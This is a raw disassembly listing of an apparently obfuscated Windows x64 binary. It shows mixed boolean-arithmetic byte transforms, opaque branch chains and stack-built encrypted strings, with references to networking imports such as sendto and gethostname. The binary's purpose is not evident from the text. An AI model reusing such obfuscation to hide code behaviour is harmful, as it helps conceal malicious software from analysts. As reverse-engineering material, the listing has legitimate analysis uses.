lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140212da3
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xdf0]
sub dil, al
sub dil, 0x20
jmp 0x140212dea
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xdf0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xdf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140212e4a
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140212e1e
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140212df0
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140212da3
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add r9, r15
jmp 0x140212dc6
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r15
jmp 0x140212ea9
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0xdf0], cl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x140212ea9
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140212e9a
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xdf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x140212503
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x140212500
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1402124f0
lea rdx, [rbp + 0x16a1000]
jmp 0x140212f12
lea rdx, [rbp + 0x6bcb8c]
jmp 0x140212f12
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x118]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2630]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140212f47
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x2630]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2630]
call fcn.140266950
nop
lea rcx, [rbp + 0x2630]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xa00], 0x9b
mov byte [rbp + 0xa01], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa02], 0x90
mov byte [rbp + 0xa03], 0xdb
mov byte [rbp + 0xa04], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa05], Ordinal_217
mov byte [rbp + 0xa06], 0x7b
mov byte [rbp + 0xa07], Ordinal_217
mov byte [rbp + 0xa08], 0x43
mov byte [rbp + 0xa09], Ordinal_211
mov byte [rbp + 0xa0a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa0b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa0c], 0x5e
mov byte [rbp + 0xa0d], Ordinal_211
mov byte [rbp + 0xa0e], 0x5d
mov byte [rbp + 0xa0f], Ordinal_211
mov byte [rbp + 0xa10], WSAGetLastError
mov byte [rbp + 0xa11], 0xc9
mov byte [rbp + 0xa12], 0x7a
mov byte [rbp + 0xa13], 0xcb
mov byte [rbp + 0xa14], Ordinal_79
mov byte [rbp + 0xa15], Ordinal_200
mov byte [rbp + 0xa16], 0x64
mov byte [rbp + 0xa17], Ordinal_200
mov byte [rbp + 0xa18], 0x54
mov byte [rbp + 0xa19], 0xc1
mov byte [rbp + 0xa1a], 0x5b
mov byte [rbp + 0xa1b], Ordinal_200
mov byte [rbp + 0xa1c], 0x9f
mov byte [rbp + 0xa1d], 0x3d
mov byte [rbp + 0xa1e], 0x9a
mov byte [rbp + 0xa1f], 0x3f
mov byte [rbp + 0xa20], 0x84
mov byte [rbp + 0xa21], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa22], 0xa8
mov byte [rbp + 0xa23], Ordinal_60
mov byte [rbp + 0xa24], 0xad
mov byte [rbp + 0xa25], gethostname
mov byte [rbp + 0xa26], 0xb8
mov byte [rbp + 0xa27], Ordinal_60
mov byte [rbp + 0xa28], 0xad
mov byte [rbp + 0xa29], Ordinal_50
mov byte [rbp + 0xa2a], 0xa0
mov byte [rbp + 0xa2b], gethostname
mov byte [rbp + 0xa2c], 0xbf
mov byte [rbp + 0xa2d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa2e], 0x78
mov byte [rbp + 0xa2f], Ordinal_50
mov byte [rbp + 0xa30], Ordinal_143
mov byte [rbp + 0xa31], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa32], 0xb3
mov byte [rbp + 0xa33], Ordinal_46
mov byte [rbp + 0xa34], 0xb2
mov byte [rbp + 0xa35], Ordinal_41
mov byte [rbp + 0xa36], Ordinal_41
mov byte [rbp + 0xa37], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa40], eax
mov word [rbp + 0xa44], ax
mov byte [rbp + 0xa46], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140213c7c
movzx r8d, byte [rbp + r9 + 0xa00]
mov rdx, r8
cmp rdi, r9
ja 0x140213c73
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14021318c
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x1402131c3
je 0x140213bef
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140213bc1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140213b9f
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140213b51
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140213c6a
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1402131f6
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1402133b9
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140213b40
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140213b1d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140213ad1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140213aab
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140213a1f
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1402136ee
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402136c8
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1402136a5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14021367f
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14021365d
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140213649
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140213627
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140213613
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140213c47
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140213c21
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1402133e6
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1402133c0
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14021339d
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402135af
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140213528
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140213502
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1402134df
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1402134cb
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1402134a8
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140213485
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140213461
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14021343f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14021342b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140213409
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140213244
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140213244
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140213237
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402131c3
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x140213154
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140213b72
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1402137ef
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140213bbc
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140213aed
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140213bde
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140213be1
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140213a2e
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140213a74
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140213c0a
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x1402139d3
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1402138bb
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x1402139c6
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140213b72
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x1402139f9
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1402137ac
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213546
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140213a2e
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140213be1
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140213aba
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140213aef
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140213bbc
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140213b9a
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213b72
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140213714
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402135d0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140213743
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213c0a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140213760
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x140213a2e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14021378b
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140213be1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402135d0
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140213b2c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402137d7
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x140213b72
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140213806
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213b9a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140213831
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140213bde
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14021385d
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140213a40
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14021388c
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213a74
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140213546
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140213c0a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402138d8
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14021372c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402138f5
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140213a2e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140213924
movabs rdx, 0x92d7ed3a34b0f7f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213bde
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021394f
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140213aef
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14021397a
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140213bbc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140213997
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1402137ef
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14021357d
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140213b72
mov byte [rbp + r9 + 0xa00], bl
jmp 0x140213c19
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xa00]
sub bl, al
sub bl, 0x60
jmp 0x14021347d
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xa00]
jmp 0x140213a3b
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa00], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140213c0a
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140213bde
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
jmp 0x140213bde
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140213bbc
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140213b60
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa00], cl
add r10, r15
jmp 0x140213bbc
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x140213c19
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140213c19
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xa00]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140213141
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021313e
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14021312e
lea rdx, [rbp + 0x16f1130]
jmp 0x140213c83
lea rdx, [rbp + 0x68a494]
jmp 0x140213c83
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x138]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2740]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140213cb8
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2740]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2740]
call fcn.140266950
nop
lea rcx, [rbp + 0x2740]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x700], 0xcb
mov byte [rbp + 0x701], Ordinal_143
mov byte [rbp + 0x702], 0xac
mov byte [rbp + 0x703], 0xf3
mov byte [rbp + 0x704], Ordinal_79
mov byte [rbp + 0x705], 0xf1
mov byte [rbp + 0x706], WSAStartup
mov byte [rbp + 0x707], 0xf7
mov byte [rbp + 0x708], 0x55
mov byte [rbp + 0x709], 0xf5
mov byte [rbp + 0x70a], 0xa2
mov byte [rbp + 0x70b], 0xfb
mov byte [rbp + 0x70c], 0x66
mov byte [rbp + 0x70d], 0xf9
mov byte [rbp + 0x70e], 0x55
mov byte [rbp + 0x70f], 0xff
mov byte [rbp + 0x710], 0x59
mov byte [rbp + 0x711], 0xfd
mov byte [rbp + 0x712], WSAStartup
mov byte [rbp + 0x713], 0xe3
mov byte [rbp + 0x714], 0x47
mov byte [rbp + 0x715], 0xe1
mov byte [rbp + 0x716], Ordinal_79
mov byte [rbp + 0x717], 0xe7
mov byte [rbp + 0x718], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x719], 0xe5
mov byte [rbp + 0x71a], 0x42
mov byte [rbp + 0x71b], 0xeb
mov byte [rbp + 0x71c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x71d], 0xe9
mov byte [rbp + 0x71e], r14b
mov byte [rbp + 0x71f], 0xef
mov byte [rbp + 0x720], 0xb8
mov byte [rbp + 0x721], 0xed
mov byte [rbp + 0x722], 0x87
mov byte [rbp + 0x723], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x724], 0x44
mov byte [rbp + 0x725], Ordinal_211
mov byte [rbp + 0x726], r14b
mov byte [rbp + 0x727], Ordinal_217
mov byte [rbp + 0x728], 0x81
mov byte [rbp + 0x729], Ordinal_217
mov byte [rbp + 0x72a], 0x7e
mov byte [rbp + 0x72b], 0xdb
mov byte [rbp + 0x72c], 0x7c
mov byte [rbp + 0x72d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x72e], WSAStartup
mov byte [rbp + 0x72f], 0xdf
mov byte [rbp + 0x730], Ordinal_143
mov byte [rbp + 0x731], 0xdd
mov byte [rbp + 0x732], 0x64
mov byte [rbp + 0x733], Ordinal_200
mov byte [rbp + 0x734], WSAGetLastError
mov byte [rbp + 0x735], 0xc1
mov byte [rbp + 0x736], 0x54
mov byte [rbp + 0x737], Ordinal_200
mov byte [rbp + 0x738], Ordinal_200
mov byte [rbp + 0x739], Ordinal_200
xor eax, eax
mov dword [rbp + 0x73a], eax
mov word [rbp + 0x73e], ax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x140214a85
movzx r8d, byte [rbp + r9 + 0x700]
mov r11, r8
cmp rdi, r9
ja 0x140214a7c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140213ef7
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x140213f31
je 0x1402149ef
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140214999
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140214943
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14021491a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1402148d0
cmp r10, r9
ja 0x140214a73
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x140213f62
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x140213f96
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402148b1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14021488f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140214860
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140214842
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140214521
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1402144ff
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1402144eb
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1402144c8
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402144b4
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140214492
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140214470
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14021445c
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14021443a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140214414
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140213fa3
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140214a4d
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140214a27
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1402141a0
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14021417a
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140214158
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14021437c
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14021436b
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14021431d
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402142ef
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140213fa3
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1402142c9
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1402142a7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140214285
